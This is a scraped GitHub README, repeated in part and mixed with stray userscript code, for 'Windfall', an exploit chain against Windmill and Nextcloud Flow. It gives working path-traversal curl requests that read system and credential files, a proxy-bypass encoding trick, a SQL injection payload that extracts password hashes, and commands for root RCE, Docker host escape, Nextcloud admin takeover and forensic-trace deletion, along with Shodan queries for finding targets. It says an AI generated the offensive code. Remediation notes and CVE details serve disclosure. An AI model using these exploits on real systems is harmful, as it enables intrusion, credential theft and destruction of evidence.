Nextcloud Flow embeds Windmill behind a Python/FastAPI proxy. The full proxy chain requires triple encoding:

Request → Nextcloud (PHP) → FastAPI → httpx → Windmill
↓ ↓
URL decode URL decode

Bypass: Use triple URL encoding with safe="" to force encoding of ALL characters (%25252F):

What we sendAfter Nextcloud (PHP)After FastAPIhttpx sendsWindmill sees
../../../normalized❌ blocked
%2F//normalized❌ blocked
%252F%2F/normalized❌ blocked
%25252F%252F%2F%2F/

The triple encoding (with safe="" to force encoding of all characters, not standard triple encoding) survives both Nextcloud's PHP decode and FastAPI's decode, leaving %2F for httpx (which doesn't normalize encoded slashes). Windmill then decodes %2F/ and the traversal succeeds.

Nextcloud Pivot via APP_SECRET

Use the same path traversal to leak APP_SECRET from Flow's environ, then create an admin user on Nextcloud.

# Leak APP_SECRET and list users
python3 windfall_nc_pivot.py https://nextcloud.example.com --list-users
# Create admin user
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin
# Create admin with specific creds
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin -U myadmin -P 'MyP@ss!'# Verify login
python3 windfall_nc_pivot.py https://nextcloud.example.com --verify myadmin 'MyP@ss!'

Impact: Full Nextcloud takeover - create admin, access all files, admin panel.


SQL Injection (Authenticated)

A second vulnerability allows authenticated users to exfiltrate arbitrary data from Windmill's database via JSONB path injection.

Note: The addowner endpoint requires folder ownership, but any authenticated user can create their own folder (no privilege required) and automatically becomes its owner. This makes the vulnerability exploitable by any authenticated user (including operators).

Vulnerable Code

// backend/windmill-api/src/folders.rs:698-699
sqlx::query(&format!("UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{{\"{owner}\"}}', to_jsonb($1), \ true) WHERE name = $2 AND workspace_id = $3 RETURNING extra_perms"))

The owner parameter is directly interpolated into the SQL query without sanitization.

Attack Flow

┌─────────────────────────────────────────────────────────────────┐
│ WINDMILL SQLi │
├─────────────────────────────────────────────────────────────────┤
│ │
│ POST /api/w/{workspace}/folders/addowner/{folder} │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Create │ │ Inject SQL │ │ Read Result │ │
│ │ Folder │───▶│ via owner │───▶│ from perms │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ owner=x"}', (SELECT ...)-- extra_perms.x │
│ │
└─────────────────────────────────────────────────────────────────┘

Payload

{
"owner": "x\"}', (SELECT to_jsonb((SELECT password_hash FROM password LIMIT 1)))--"
}

Generated SQL:

UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{"x"}', (SELECT to_jsonb(...)))--"}', ...)

PoC

python3 windfall_sqli.py http://localhost:8000 -u operator@windmill.dev -p password123 -c "id"# Output:# [+] Escalating privileges: → super_admin=True# [+] PRIVESC COMPLETE: Operator → Super Admin → RCE# uid=0(root) gid=0(root) groups=0(root)

Impact

CapabilityStatus
Data Exfiltration✅ Full database access
Password Hashes✅ Leaked
User Tokens✅ Leaked
RCE via PostgreSQL❌ Requires superuser

Detection

Shodan:

http.favicon.hash:-309349605
http.favicon.hash:1153595003
http.html:"svelte-global-loader" http.html:"Windmill"

Remediation

  1. Sanitize file path parameters
  2. Require authentication for get_log_file
  3. Run containers as non-root
  4. Enable nsjail sandboxing
  5. Remove Docker socket access

Metasploit Integration

Full Metasploit Framework integration submitted as 5 PRs:

PRModule/LibraryDescription
#21242Rex::Proto::PostgreSQLBinary PostgreSQL heap file parser
#21244Msf::Exploit::Remote::HTTP::WindmillWindmill HTTP mixin
#21245windmill_path_traversal_rce + windmill_sqli_rce + windmill_file_read + windmill_sqliUnauth RCE (CVE-2026-29059) + SQLi RCE (CVE-2026-23696) + auxiliaries
#21243Msf::Exploit::Remote::HTTP::Nextcloud::AppApiNextcloud AppApi mixin
#21246auxiliary/admin/http/nextcloud_appapi_shellInteractive Nextcloud shell

Merge order: #21242 first, then #21244, then #21245. Independently: #21243 then #21246.


Discovered by Chocapikk - 2026-01-10

About

Windfall - Unauthenticated RCE exploit chain for Windmill & Nextcloud Flow (CVE-2026-29059). Path traversal + credential leak + PostgreSQL heap dump + Nextcloud AppAPI takeover.

Topics

Resources

Stars

18 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix"); } } catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

Windfall

mic drop

Windmill Path Traversal → Credential Leak → Remote Code Execution

Windfall (n.): An unexpected, unearned, or sudden gain or advantage, exactly what attackers get from this vulnerability.

PropertyValue
NameWindfall
CVE (Path Traversal)CVE-2026-29059 (Windmill & Nextcloud Flow)
CVE (SQLi)CVE-2026-23696 (Windmill & Nextcloud Flow)
CVE (Operator Bypass)CVE-2026-22683 (Windmill & Nextcloud Flow)
Affected (Path Traversal)Windmill v1.309.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
Affected (SQLi)Windmill v1.276.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
FixedWindmill v1.603.3, Nextcloud Flow v1.3.0
Disclosed2026-01-10
CreditChocapikk

CVSS 4.0 Scores

VulnerabilityContextScoreVector
Path TraversalWindmill + Docker socket10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalWindmill (no docker)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalNextcloud Flow (proxy)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescWindmill + Docker socket9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescNextcloud Flow9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Key factors:

  • Windmill standalone: Unauthenticated (PR:N), Docker socket often mounted → host escape (SC/SI/SA:H)
  • Nextcloud Flow (proxy): Also unauthenticated! The vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in Flow's route table
  • SQLi: Requires Windmill account (PR:L), but any operator can escalate to super_admin → RCE

Summary

Two critical vulnerabilities in Windmill:

  1. Unauthenticated Path Traversal: Read arbitrary files, leak credentials, achieve RCE
  2. Authenticated SQL Injection: Exfiltrate any data from Windmill's PostgreSQL database

About This Exploit

This wasn't supposed to be this big.

What started as a simple PoC quickly evolved into a full exploitation framework. I had the opportunity to push the boundaries and see how far I could go in terms of technical sophistication.

How it was built: This exploit was developed through a collaborative workflow with AI assistance. I provided prompts and architectural guidance, while the AI generated the actual code. This allowed me to focus on the "what" and "why" (attack chains, OPSEC requirements, edge cases) while the AI handled the "how" (implementation details, protocol specifications, error handling).

The result is a production-grade framework with:

  • Auto-detection of deployment types (Standalone / Flow Direct / Flow Proxy)
  • Multiple credential leak methods with automatic fallbacks
  • Raw PostgreSQL protocol implementation (SCRAM-SHA-256 from scratch)
  • Self-destruct cleanup using WM_JOB_ID (zero forensic evidence)
  • Modular architecture for extensibility
  • Blind mode support when endpoints are blocked

This demonstrates what's possible when you have the chance to push technical limits. The exploit works in all scenarios, handles edge cases gracefully, and includes advanced OPSEC techniques that go beyond typical PoCs.

Why so sophisticated? Because I could. This was a test of how far we can push exploitation tooling when given the opportunity to build something properly rather than just "making it work". It's also a demonstration of AI-assisted development: with the right prompts and architectural vision, AI can generate production-quality offensive tooling.

Impact

VectorWindmill StandaloneFlow (Direct)Flow (Proxy)
File Read✅ Unauthenticated✅ UnauthenticatedUnauthenticated!
Credential Leak⚠️SUPERADMIN_SECRET (optional)✅ JSON config + PostgreSQL✅ JSON config + PostgreSQL
PostgreSQL Leak⚠️ Separate container (Docker)✅ Same container✅ Same container
Container RCE✅ Root (if secret configured)✅ Root✅ Root
Host Escape✅ Via Docker socket

⚠️ Critical Discovery: The vulnerable jobs_u endpoint is registered with access_level=0 (PUBLIC) in Flow's AppAPI route table. This means no Nextcloud authentication is required to exploit the path traversal via the Nextcloud proxy! Flow deployments are just as vulnerable as standalone Windmill.

Attack Chain

┌─────────────────────────────────────────────────────────────────────────┐
│ WINDFALL │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │
│ │ Path │ │ Credential │ │ Remote Code │ │
│ │ Traversal │───▶│ Leak │───▶│ Execution │ │
│ │ (Unauth) │ │ │ │ (Root) │ │
│ └─────────────┘ └──────────────────┘ └─────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ /etc/passwd 3 Methods: Container RCE │
│ /proc/environ ├─ windmill_users_config.json (Flow) │
│ PostgreSQL files ├─ SUPERADMIN_SECRET (/proc/1/environ) │
│ └─ PostgreSQL files → jwt_secret → forge JWT │
│ │
├─────────────────────────────────────────────────────────────────────────┤
│ PostgreSQL Data Leak (when DB in same container): │
│ │
│ /proc/*/cmdline ──▶ postgres -D /path ──▶ base/*/files ──▶ jwt_secret │
│ │ │
│ ▼ │
│ Forge JWT → RCE │
└─────────────────────────────────────────────────────────────────────────┘

Exploits

ExploitDescriptionAuth Required
windfall_afr.pyPath Traversal → Token Leak → RCE❌ None (all deployments unauth)
windfall_sqli.pySQLi → JWT Forge → Privesc → RCEOperator account (+ NC creds for proxy)
windfall_nc_pivot.pyPath Traversal → APP_SECRET → NC Admin❌ None (same path traversal)

Credential Leak Methods (windfall_afr.py)

The path traversal exploit tries multiple methods to obtain credentials:

PriorityMethodTargetWorks On
1windmill_users_config.json/nc_app_flow_data/...Nextcloud Flow
2SUPERADMIN_SECRET/proc/1/environStandalone (if configured)
3PostgreSQL files/proc → pg_data → jwt_secretSame container (Flow)

Both exploits auto-detect deployment type and adapt accordingly:

DeploymentPath TraversalSQLi
Windmill Standalone✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Direct)✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Proxy)Unauthenticated!⚠️ Operator → Super Admin (NC creds REQUIRED)

Note: Flow's vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in the AppAPI database, meaning the proxy passes requests without checking Nextcloud credentials. No Nextcloud authentication is required for path traversal. However, SQLi via proxy REQUIRES Nextcloud credentials because endpoints like /api/auth/login and /api/w/*/folders/* are blocked without Nextcloud authentication.

Test Results

All 6 scenarios tested and confirmed:

╔═══════════════════════════════════════════════════════════════════════════════════╗
║ WINDFALL TEST RESULTS ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ # │ Exploit │ Deployment │ Auth Required │ Result ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 1 │ windfall_afr │ Flow Proxy │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 2 │ windfall_afr │ Flow Direct │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 3 │ windfall_afr │ Standalone │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 4 │ windfall_sqli │ Flow Proxy │ ✅ Windmill + NC │ ✅ uid=0(root) RCE ║
║ 5 │ windfall_sqli │ Flow Direct │ ✅ Windmill │ ✅ uid=0(root) RCE ║
║ 6 │ windfall_sqli │ Standalone │ ✅ Windmill │ ✅ uid=0(root) RCE ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 6/6 TESTS PASSED ║
║ (Note: windfall_afr works unauth on all deployments, no Nextcloud creds needed) ║
║ ║
║ Key findings: ║
║ • Flow Proxy: jobs_u endpoint is PUBLIC (access_level=0) → NO AUTH NEEDED! ║
║ • Credential leak: windmill_users_config.json contains plaintext tokens ║
║ • Detection: Works even when /api/version requires auth (fallback traversal) ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

Quick Start

Path Traversal (Unauthenticated RCE)

# Windmill standalone (auto-detects leak method)
python3 windfall_afr.py http://localhost:8000 -c "id"# Nextcloud Flow (direct access to Windmill container)
python3 windfall_afr.py http://<flow-container-ip>:8000 -c "id"# Nextcloud Flow (via proxy - NO auth required! jobs_u is PUBLIC)
python3 windfall_afr.py https://nextcloud.example.com -c "id"# Interactive shell
python3 windfall_afr.py http://localhost:8000
# Read arbitrary file
python3 windfall_afr.py http://localhost:8000 -r /etc/passwd
# Leak credentials only (no RCE)
python3 windfall_afr.py http://localhost:8000 --leak-users
# Force PostgreSQL file leak method (jwt_secret → forge JWT)
python3 windfall_afr.py http://<flow-container-ip>:8000 --leak-postgres
# Host escape (Docker socket)
python3 windfall_afr.py http://localhost:8000 -H
# Execute command on host
python3 windfall_afr.py http://localhost:8000 --host-cmd "id"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_afr.py http://localhost:8000 -c "id" --clean

SQLi Privilege Escalation (Operator → Super Admin → RCE)

# Windmill standalone
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (direct)
python3 windfall_sqli.py http://<flow-container-ip>:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (proxy) - REQUIRES Nextcloud credentials!# Endpoints like /api/auth/login and /api/w/*/folders/* are blocked without NC auth
python3 windfall_sqli.py https://nextcloud.example.com \
--nc-user admin --nc-pass secret \
-u operator@windmill.dev -p password123 -c "id"# Interactive shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123
# Host shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -H
# Execute command on host
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 --host-cmd "id"# SQLi query only (no RCE)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -q "SELECT version()"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id" --clean

OPSEC: Ghost Mode (--clean)

Both exploits support --clean for operational security. This option:

  1. Marks jobs as deleted via Windmill API (deleted=true)
  2. Completely DELETEs all traces from PostgreSQL using raw protocol:
    • Removes raw_code from v2_job table
    • Removes entries from v2_job_completed table
    • Self-destructs: The cleanup job deletes itself using WM_JOB_ID

Result: Zero forensic evidence. No raw_code, no job history, no traces in the database.

The cleanup uses Windmill's Python execution to implement raw PostgreSQL protocol (SCRAM-SHA-256) from scratch - no external dependencies needed.

Vulnerability Details

Root Cause

// backend/windmill-api/src/jobs.rsasyncfnget_log_file(Path((_w_id, file_p)):Path<(String,String)>) -> error::Result<Response>{let local_file = format!("{TMP_DIR}/logs/{file_p}");// ← No sanitization!// ...}

Proof of Concept

Windmill Standalone (unauthenticated):

# Read /etc/passwd
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"# Leak SUPERADMIN_SECRET
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"

Nextcloud Flow (NO authentication required!):

# Read /etc/passwd - triple encoding bypasses the proxy chain# Note: The jobs_u endpoint is PUBLIC (access_level=0) - NO Nextcloud auth needed!# No credentials required, works completely unauth!
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"# Leak user tokens and passwords (also unauthenticated)
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fnc_app_flow_data%25252Fwindmill_users_config.json"

PostgreSQL Data File Leak (Advanced)

When PostgreSQL runs in the same container (Nextcloud Flow), we can extract jwt_secret directly from database files:

# 1. Find PostgreSQL data path via /proc
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2F16%2Fcmdline"# Returns: postgres -D /nc_app_flow_data/pgsql# 2. Read PostgreSQL data files containing jwt_secret
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fnc_app_flow_data%2Fpgsql%2Fbase%2F16385%2F17149"# Binary data contains: jwt_secret + 32-char secret# 3. Forge JWT with leaked secret → RCE

This technique works because:

  • /proc/*/cmdline reveals the PostgreSQL -D data directory
  • PostgreSQL stores table data in binary files under base/<db_oid>/
  • The global_settings table contains the jwt_secret in plaintext
  • With jwt_secret + valid email, we can forge admin JWTs

Nextcloud Flow Proxy Bypass

Nextcloud Flow embeds Windmill behind a Python/FastAPI proxy. The full proxy chain requires triple encoding:

Request → Nextcloud (PHP) → FastAPI → httpx → Windmill
↓ ↓
URL decode URL decode

Bypass: Use triple URL encoding with safe="" to force encoding of ALL characters (%25252F):

What we sendAfter Nextcloud (PHP)After FastAPIhttpx sendsWindmill sees
../../../normalized❌ blocked
%2F//normalized❌ blocked
%252F%2F/normalized❌ blocked
%25252F%252F%2F%2F/

The triple encoding (with safe="" to force encoding of all characters, not standard triple encoding) survives both Nextcloud's PHP decode and FastAPI's decode, leaving %2F for httpx (which doesn't normalize encoded slashes). Windmill then decodes %2F/ and the traversal succeeds.

Nextcloud Pivot via APP_SECRET

Use the same path traversal to leak APP_SECRET from Flow's environ, then create an admin user on Nextcloud.

# Leak APP_SECRET and list users
python3 windfall_nc_pivot.py https://nextcloud.example.com --list-users
# Create admin user
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin
# Create admin with specific creds
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin -U myadmin -P 'MyP@ss!'# Verify login
python3 windfall_nc_pivot.py https://nextcloud.example.com --verify myadmin 'MyP@ss!'

Impact: Full Nextcloud takeover - create admin, access all files, admin panel.


SQL Injection (Authenticated)

A second vulnerability allows authenticated users to exfiltrate arbitrary data from Windmill's database via JSONB path injection.

Note: The addowner endpoint requires folder ownership, but any authenticated user can create their own folder (no privilege required) and automatically becomes its owner. This makes the vulnerability exploitable by any authenticated user (including operators).

Vulnerable Code

// backend/windmill-api/src/folders.rs:698-699
sqlx::query(&format!("UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{{\"{owner}\"}}', to_jsonb($1), \ true) WHERE name = $2 AND workspace_id = $3 RETURNING extra_perms"))

The owner parameter is directly interpolated into the SQL query without sanitization.

Attack Flow

┌─────────────────────────────────────────────────────────────────┐
│ WINDMILL SQLi │
├─────────────────────────────────────────────────────────────────┤
│ │
│ POST /api/w/{workspace}/folders/addowner/{folder} │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Create │ │ Inject SQL │ │ Read Result │ │
│ │ Folder │───▶│ via owner │───▶│ from perms │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ owner=x"}', (SELECT ...)-- extra_perms.x │
│ │
└─────────────────────────────────────────────────────────────────┘

Payload

{
"owner": "x\"}', (SELECT to_jsonb((SELECT password_hash FROM password LIMIT 1)))--"
}

Generated SQL:

UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{"x"}', (SELECT to_jsonb(...)))--"}', ...)

PoC

python3 windfall_sqli.py http://localhost:8000 -u operator@windmill.dev -p password123 -c "id"# Output:# [+] Escalating privileges: → super_admin=True# [+] PRIVESC COMPLETE: Operator → Super Admin → RCE# uid=0(root) gid=0(root) groups=0(root)

Impact

CapabilityStatus
Data Exfiltration✅ Full database access
Password Hashes✅ Leaked
User Tokens✅ Leaked
RCE via PostgreSQL❌ Requires superuser

Detection

Shodan:

http.favicon.hash:-309349605
http.favicon.hash:1153595003
http.html:"svelte-global-loader" http.html:"Windmill"

Remediation

  1. Sanitize file path parameters
  2. Require authentication for get_log_file
  3. Run containers as non-root
  4. Enable nsjail sandboxing
  5. Remove Docker socket access

Metasploit Integration

Full Metasploit Framework integration submitted as 5 PRs:

PRModule/LibraryDescription
#21242Rex::Proto::PostgreSQLBinary PostgreSQL heap file parser
#21244Msf::Exploit::Remote::HTTP::WindmillWindmill HTTP mixin
#21245windmill_path_traversal_rce + windmill_sqli_rce + windmill_file_read + windmill_sqliUnauth RCE (CVE-2026-29059) + SQLi RCE (CVE-2026-23696) + auxiliaries
#21243Msf::Exploit::Remote::HTTP::Nextcloud::AppApiNextcloud AppApi mixin
#21246auxiliary/admin/http/nextcloud_appapi_shellInteractive Nextcloud shell

Merge order: #21242 first, then #21244, then #21245. Independently: #21243 then #21246.


Discovered by Chocapikk - 2026-01-10

About

Windfall - Unauthenticated RCE exploit chain for Windmill & Nextcloud Flow (CVE-2026-29059). Path traversal + credential leak + PostgreSQL heap dump + Nextcloud AppAPI takeover.

Topics

Resources

Stars

18 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms"); } } catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

Windfall

mic drop

Windmill Path Traversal → Credential Leak → Remote Code Execution

Windfall (n.): An unexpected, unearned, or sudden gain or advantage, exactly what attackers get from this vulnerability.

PropertyValue
NameWindfall
CVE (Path Traversal)CVE-2026-29059 (Windmill & Nextcloud Flow)
CVE (SQLi)CVE-2026-23696 (Windmill & Nextcloud Flow)
CVE (Operator Bypass)CVE-2026-22683 (Windmill & Nextcloud Flow)
Affected (Path Traversal)Windmill v1.309.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
Affected (SQLi)Windmill v1.276.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
FixedWindmill v1.603.3, Nextcloud Flow v1.3.0
Disclosed2026-01-10
CreditChocapikk

CVSS 4.0 Scores

VulnerabilityContextScoreVector
Path TraversalWindmill + Docker socket10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalWindmill (no docker)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalNextcloud Flow (proxy)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescWindmill + Docker socket9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescNextcloud Flow9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Key factors:

  • Windmill standalone: Unauthenticated (PR:N), Docker socket often mounted → host escape (SC/SI/SA:H)
  • Nextcloud Flow (proxy): Also unauthenticated! The vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in Flow's route table
  • SQLi: Requires Windmill account (PR:L), but any operator can escalate to super_admin → RCE

Summary

Two critical vulnerabilities in Windmill:

  1. Unauthenticated Path Traversal: Read arbitrary files, leak credentials, achieve RCE
  2. Authenticated SQL Injection: Exfiltrate any data from Windmill's PostgreSQL database

About This Exploit

This wasn't supposed to be this big.

What started as a simple PoC quickly evolved into a full exploitation framework. I had the opportunity to push the boundaries and see how far I could go in terms of technical sophistication.

How it was built: This exploit was developed through a collaborative workflow with AI assistance. I provided prompts and architectural guidance, while the AI generated the actual code. This allowed me to focus on the "what" and "why" (attack chains, OPSEC requirements, edge cases) while the AI handled the "how" (implementation details, protocol specifications, error handling).

The result is a production-grade framework with:

  • Auto-detection of deployment types (Standalone / Flow Direct / Flow Proxy)
  • Multiple credential leak methods with automatic fallbacks
  • Raw PostgreSQL protocol implementation (SCRAM-SHA-256 from scratch)
  • Self-destruct cleanup using WM_JOB_ID (zero forensic evidence)
  • Modular architecture for extensibility
  • Blind mode support when endpoints are blocked

This demonstrates what's possible when you have the chance to push technical limits. The exploit works in all scenarios, handles edge cases gracefully, and includes advanced OPSEC techniques that go beyond typical PoCs.

Why so sophisticated? Because I could. This was a test of how far we can push exploitation tooling when given the opportunity to build something properly rather than just "making it work". It's also a demonstration of AI-assisted development: with the right prompts and architectural vision, AI can generate production-quality offensive tooling.

Impact

VectorWindmill StandaloneFlow (Direct)Flow (Proxy)
File Read✅ Unauthenticated✅ UnauthenticatedUnauthenticated!
Credential Leak⚠️SUPERADMIN_SECRET (optional)✅ JSON config + PostgreSQL✅ JSON config + PostgreSQL
PostgreSQL Leak⚠️ Separate container (Docker)✅ Same container✅ Same container
Container RCE✅ Root (if secret configured)✅ Root✅ Root
Host Escape✅ Via Docker socket

⚠️ Critical Discovery: The vulnerable jobs_u endpoint is registered with access_level=0 (PUBLIC) in Flow's AppAPI route table. This means no Nextcloud authentication is required to exploit the path traversal via the Nextcloud proxy! Flow deployments are just as vulnerable as standalone Windmill.

Attack Chain

┌─────────────────────────────────────────────────────────────────────────┐
│ WINDFALL │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │
│ │ Path │ │ Credential │ │ Remote Code │ │
│ │ Traversal │───▶│ Leak │───▶│ Execution │ │
│ │ (Unauth) │ │ │ │ (Root) │ │
│ └─────────────┘ └──────────────────┘ └─────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ /etc/passwd 3 Methods: Container RCE │
│ /proc/environ ├─ windmill_users_config.json (Flow) │
│ PostgreSQL files ├─ SUPERADMIN_SECRET (/proc/1/environ) │
│ └─ PostgreSQL files → jwt_secret → forge JWT │
│ │
├─────────────────────────────────────────────────────────────────────────┤
│ PostgreSQL Data Leak (when DB in same container): │
│ │
│ /proc/*/cmdline ──▶ postgres -D /path ──▶ base/*/files ──▶ jwt_secret │
│ │ │
│ ▼ │
│ Forge JWT → RCE │
└─────────────────────────────────────────────────────────────────────────┘

Exploits

ExploitDescriptionAuth Required
windfall_afr.pyPath Traversal → Token Leak → RCE❌ None (all deployments unauth)
windfall_sqli.pySQLi → JWT Forge → Privesc → RCEOperator account (+ NC creds for proxy)
windfall_nc_pivot.pyPath Traversal → APP_SECRET → NC Admin❌ None (same path traversal)

Credential Leak Methods (windfall_afr.py)

The path traversal exploit tries multiple methods to obtain credentials:

PriorityMethodTargetWorks On
1windmill_users_config.json/nc_app_flow_data/...Nextcloud Flow
2SUPERADMIN_SECRET/proc/1/environStandalone (if configured)
3PostgreSQL files/proc → pg_data → jwt_secretSame container (Flow)

Both exploits auto-detect deployment type and adapt accordingly:

DeploymentPath TraversalSQLi
Windmill Standalone✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Direct)✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Proxy)Unauthenticated!⚠️ Operator → Super Admin (NC creds REQUIRED)

Note: Flow's vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in the AppAPI database, meaning the proxy passes requests without checking Nextcloud credentials. No Nextcloud authentication is required for path traversal. However, SQLi via proxy REQUIRES Nextcloud credentials because endpoints like /api/auth/login and /api/w/*/folders/* are blocked without Nextcloud authentication.

Test Results

All 6 scenarios tested and confirmed:

╔═══════════════════════════════════════════════════════════════════════════════════╗
║ WINDFALL TEST RESULTS ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ # │ Exploit │ Deployment │ Auth Required │ Result ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 1 │ windfall_afr │ Flow Proxy │ ❌ NONE │ ✅ uid=0(root) RCE ║
